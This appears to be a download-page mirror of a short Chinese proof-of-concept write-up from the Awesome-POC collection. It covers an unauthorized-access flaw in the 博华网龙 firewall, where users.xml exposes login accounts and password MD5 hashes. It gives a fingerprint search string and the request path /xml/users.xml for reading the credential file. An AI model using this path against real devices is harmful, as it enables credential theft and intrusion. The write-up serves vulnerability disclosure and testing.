资源下载 /

博华网龙防火墙 users.xml 未授权访问.md

返回
加入收藏
举报
02-12 16:54
#0
文件名称:
博华网龙防火墙 users.xml 未授权访问.md
所在目录:
网络设备漏洞
文件大小:
443.00 B
下载地址:
Threekiii/Awesome-POC
   
免责声明：本网站仅提供指向 GitHub 上的文件的链接，所有文件的版权归原作者所有，本网站不对文件内容的合法性、准确性或安全性承担任何责任。
文本预览:
# 博华网龙防火墙 users.xml 未授权访问
## 漏洞描述
博华网龙防火墙 users.xml文件 可被任意用户读取，其中包含登录的账号密码
## 漏洞影响
```
博华网龙防火墙
```
## 网络测绘
```
"博华网龙防火墙"
```
## 漏洞复现
登录页面
![img](images/202202162248506.png)
验证POC, 读取配置文件获取密码的Md5
```php
/xml/users.xml
```
![img](images/202202162248359.png)
点赞 回复
回帖
支持markdown部分语法 ?
X